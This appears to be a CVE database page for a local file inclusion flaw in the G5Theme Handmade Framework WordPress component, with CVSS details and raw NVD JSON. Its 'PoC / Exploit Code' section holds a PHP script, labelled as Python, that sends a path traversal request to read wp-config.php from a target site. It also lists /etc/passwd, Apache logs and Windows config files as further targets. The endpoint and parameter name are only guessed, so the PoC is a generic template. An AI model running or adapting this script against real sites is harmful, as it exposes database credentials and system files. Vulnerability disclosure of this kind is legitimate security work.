Security Vulnerability Report
中文
CVE-2026-22521 CVSS 7.5 HIGH

CVE-2026-22521

Published: 2026-01-08 17:15:52
Last Modified: 2026-04-23 15:36:38

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in G5Theme Handmade Framework handmade-framework allows PHP Local File Inclusion.This issue affects Handmade Framework: from n/a through <= 3.9.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Handmade Framework <= 3.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-22521 - Handmade Framework LFI PoC * Target: G5Theme Handmade Framework <= 3.9 * Vulnerability: Local File Inclusion via improper input validation */ // Basic PoC - Reading wp-config.php // Target URL with vulnerable parameter $target = 'http://target-site.com/wp-content/themes/handmade-framework/includes/file.php'; // Vulnerable parameter typically 'file' or 'template' $vulnerable_param = 'file'; // Target file to read (wp-config.php) $target_file = '../wp-config.php'; // Construct exploit URL $exploit_url = $target . '?' . $vulnerable_param . '=' . urlencode($target_file); echo "[*] CVE-2026-22521 LFI PoC\n"; echo "[*] Target: " . $target . "\n"; echo "[*] Exploit URL: " . $exploit_url . "\n\n"; // Using curl to exploit $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $exploit_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[+] Success! File contents retrieved:\n"; echo "---\n"; echo $response; echo "---\n"; } else { echo "[-] Exploit failed. HTTP Code: " . $http_code . "\n"; } // Additional targets to enumerate: // Linux: /etc/passwd, /etc/apache2/apache2.conf, /var/log/apache2/access.log // Windows: C:\Windows\boot.ini, C:\xampp\apache\conf\httpd.conf ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22521", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:52.100", "lastModified": "2026-04-23T15:36:38.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in G5Theme Handmade Framework handmade-framework allows PHP Local File Inclusion.This issue affects Handmade Framework: from n/a through <= 3.9."}, {"lang": "es", "value": "Vulnerabilidad de control inadecuado del nombre de fichero para la declaración Include/Require en un programa PHP ('Inclusión Remota de Ficheros PHP') en G5Theme Handmade Framework permite la inclusión local de ficheros PHP. Este problema afecta a Handmade Framework: desde n/a hasta 3.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/handmade-framework/vulnerability/wordpress-handmade-framework-plugin-3-9-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}